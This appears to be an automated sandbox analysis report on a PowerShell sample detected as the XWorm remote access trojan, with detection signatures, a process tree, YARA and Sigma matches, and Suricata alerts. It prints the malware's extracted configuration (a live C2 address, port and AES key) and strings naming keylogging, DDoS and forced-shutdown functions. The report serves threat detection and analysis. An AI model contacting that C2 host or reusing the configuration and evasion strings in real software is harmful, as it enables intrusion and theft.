Edit tour

Windows Analysis Report
176.113.115.170.ps1

Overview

General Information

Sample name:	176.113.115.170.ps1
Analysis ID:	1589116
MD5:	be3bf7a258359bd7c14c47b3872c9531
SHA1:	be71f346690b8f384961bf73b382181c5959aef6
SHA256:	ef9aeef4f3b7ea00add3168043c866716d72353065d95b7b7dd981641d91f1ae
Tags:	176-113-115-170bookingdafeytv-1985-nzxps1sputnik-1985-comuser-JAMESWT_MHT
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XWorm

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 6212 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\176.113.115.170.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 5916 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["176.113.115.170"], "Port": 4413, "Aes key": "P0WER", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.4599580483.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000004.00000002.4599580483.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd8a8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd945:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xda5a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd5ca:$cnc4: POST / HTTP/1.1
00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.2176808391.00000272C8338000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1e5d88:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1e5e25:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1e5f3a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1e5aaa:$cnc4: POST / HTTP/1.1
00000004.00000002.4602069270.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.2176808391.00000272C8F71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.2176808391.00000272C8F71000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x3c5108:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x3c51a5:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x3c52ba:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x3c4e2a:$cnc4: POST / HTTP/1.1
00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.2176808391.00000272C8571000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x29dd0:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x29e6d:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x29f82:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x29af2:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 6212	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: RegSvcs.exe PID: 5916	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xb59a:$str01: $VB$Local_Port 0xb5be:$str02: $VB$Local_Host 0x975c:$str03: get_Jpeg 0x9edd:$str04: get_ServicePack 0xc5fa:$str05: Select * from AntivirusProduct 0xcf30:$str06: PCRestart 0xcf44:$str07: shutdown.exe /f /r /t 0 0xcff6:$str08: StopReport 0xcfcc:$str09: StopDDos 0xd0c2:$str10: sendPlugin 0xd142:$str11: OfflineKeylogger Not Enabled 0xd29a:$str12: -ExecutionPolicy Bypass -File " 0xd8af:$str13: Content-length: 5235
0.2.powershell.exe.272c85102e0.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xdaa8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xdb45:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xdc5a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd7ca:$cnc4: POST / HTTP/1.1
0.2.powershell.exe.272c85102e0.1.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x979a:$str01: $VB$Local_Port 0x97be:$str02: $VB$Local_Host 0x795c:$str03: get_Jpeg 0x80dd:$str04: get_ServicePack 0xa7fa:$str05: Select * from AntivirusProduct 0xb130:$str06: PCRestart 0xb144:$str07: shutdown.exe /f /r /t 0 0xb1f6:$str08: StopReport 0xb1cc:$str09: StopDDos 0xb2c2:$str10: sendPlugin 0xb342:$str11: OfflineKeylogger Not Enabled 0xb49a:$str12: -ExecutionPolicy Bypass -File " 0xbaaf:$str13: Content-length: 5235
0.2.powershell.exe.272c85102e0.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xbca8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xbd45:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xbe5a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb9ca:$cnc4: POST / HTTP/1.1
0.2.powershell.exe.272c9328660.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.powershell.exe.272c9328660.2.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0x979a:$str01: $VB$Local_Port 0x97be:$str02: $VB$Local_Host 0x795c:$str03: get_Jpeg 0x80dd:$str04: get_ServicePack 0xa7fa:$str05: Select * from AntivirusProduct 0xb130:$str06: PCRestart 0xb144:$str07: shutdown.exe /f /r /t 0 0xb1f6:$str08: StopReport 0xb1cc:$str09: StopDDos 0xb2c2:$str10: sendPlugin 0xb342:$str11: OfflineKeylogger Not Enabled 0xb49a:$str12: -ExecutionPolicy Bypass -File " 0xbaaf:$str13: Content-length: 5235
0.2.powershell.exe.272c9328660.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xbca8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xbd45:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xbe5a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb9ca:$cnc4: POST / HTTP/1.1
0.2.powershell.exe.272c85102e0.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.powershell.exe.272c85102e0.1.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xb59a:$str01: $VB$Local_Port 0xb5be:$str02: $VB$Local_Host 0x975c:$str03: get_Jpeg 0x9edd:$str04: get_ServicePack 0xc5fa:$str05: Select * from AntivirusProduct 0xcf30:$str06: PCRestart 0xcf44:$str07: shutdown.exe /f /r /t 0 0xcff6:$str08: StopReport 0xcfcc:$str09: StopDDos 0xd0c2:$str10: sendPlugin 0xd142:$str11: OfflineKeylogger Not Enabled 0xd29a:$str12: -ExecutionPolicy Bypass -File " 0xd8af:$str13: Content-length: 5235
0.2.powershell.exe.272c85102e0.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xdaa8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xdb45:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xdc5a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd7ca:$cnc4: POST / HTTP/1.1
0.2.powershell.exe.272c9328660.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.powershell.exe.272c9328660.2.raw.unpack	rat_win_xworm_v3	Finds XWorm (version XClient, v3) samples based on characteristic strings	Sekoia.io	0xb59a:$str01: $VB$Local_Port 0xb5be:$str02: $VB$Local_Host 0x975c:$str03: get_Jpeg 0x9edd:$str04: get_ServicePack 0xc5fa:$str05: Select * from AntivirusProduct 0xcf30:$str06: PCRestart 0xcf44:$str07: shutdown.exe /f /r /t 0 0xcff6:$str08: StopReport 0xcfcc:$str09: StopDDos 0xd0c2:$str10: sendPlugin 0xd142:$str11: OfflineKeylogger Not Enabled 0xd29a:$str12: -ExecutionPolicy Bypass -File " 0xd8af:$str13: Content-length: 5235
0.2.powershell.exe.272c9328660.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xdaa8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xdb45:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xdc5a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xd7ca:$cnc4: POST / HTTP/1.1
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\176.113.115.170.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\176.113.115.170.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\176.113.115.170.ps1", ProcessId: 6212, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\176.113.115.170.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\176.113.115.170.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\176.113.115.170.ps1", ProcessId: 6212, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T10:03:15.710239+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:23.819884+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:37.285229+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:45.707942+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:50.755229+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:04.223272+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:15.728135+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:17.693170+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:19.363812+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:19.485113+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:30.848378+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:39.832693+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:45.348369+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:45.732510+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:47.586686+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:49.945635+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:50.075448+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:50.196498+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:55.313184+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:01.272151+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:01.395541+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:07.723496+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:15.747681+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:21.197542+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:24.708086+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:28.051668+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:33.464028+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:34.149677+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:45.767809+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:47.613889+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:55.274630+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:06.379585+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:15.784852+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:19.851542+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:33.347246+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:43.801919+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:45.797759+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:47.383427+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:47.554173+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:47.846791+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:48.222026+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:51.492933+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:52.317426+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:53.489179+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:53.609907+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:55.380815+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:00.584845+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:04.006405+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:04.133440+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:04.250902+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:04.831267+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:10.590896+0100	2852870	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T10:03:23.833659+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:03:37.287933+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:03:50.757217+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:04.226679+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:17.694906+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:19.367649+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:19.487034+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:30.855002+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:39.835523+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:45.351079+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:47.588963+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:49.949996+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:50.089397+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:50.203852+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:55.315587+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:01.274287+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:01.397754+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:07.725209+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:21.199697+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:24.710811+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:28.064303+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:33.465784+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:34.154960+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:47.615192+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:55.404050+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:06.384569+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:19.852832+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:33.411931+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:43.803194+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:47.385515+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:47.555629+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:47.848083+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:48.227167+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:51.610033+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:52.319100+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:53.490802+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:53.611322+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:55.382570+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:00.587025+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.007680+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.134457+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.255218+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.375196+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.383325+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.833348+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:10.591417+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.6	49718	176.113.115.170	4413	TCP

ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T10:03:15.710239+0100	2858801	1	Malware Command and Control Activity Detected	176.113.115.170	4413	192.168.2.6	49718	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
